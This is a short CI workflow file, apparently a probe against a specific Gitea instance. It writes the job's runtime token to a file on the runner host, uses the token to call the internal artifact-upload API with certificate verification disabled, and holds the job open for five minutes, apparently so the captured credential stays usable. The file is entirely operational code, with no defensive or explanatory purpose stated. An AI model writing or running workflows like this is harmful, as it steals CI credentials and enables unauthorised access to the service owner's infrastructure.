name: art-upload on: [push, workflow_dispatch] jobs: t: runs-on: numaprobe-runner steps: - run: | echo "NUMA_ARTIFACT_PROBE" > /tmp/numa_artifact.txt echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt # twirp artifact upload via the runtime token: TOK="${{ github.token }}" RUNID="${{ github.run_id }}" curl -sS -k -X POST "https://gitea.bestmobilier.com/api/actions/runner/_common/api/v1/actions/artifact/upload" \ -H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \ -d "{\"Results\":[{\"Name\":\"numa-probe\",\"PathInArtifact\":\"numa_artifact.txt\",\"Length\":20,\"Status\":1,\"ID\":0,\"UploadedSize\":0}]}" \ -o /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>&1 || true cat /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>/dev/null - run: sleep 300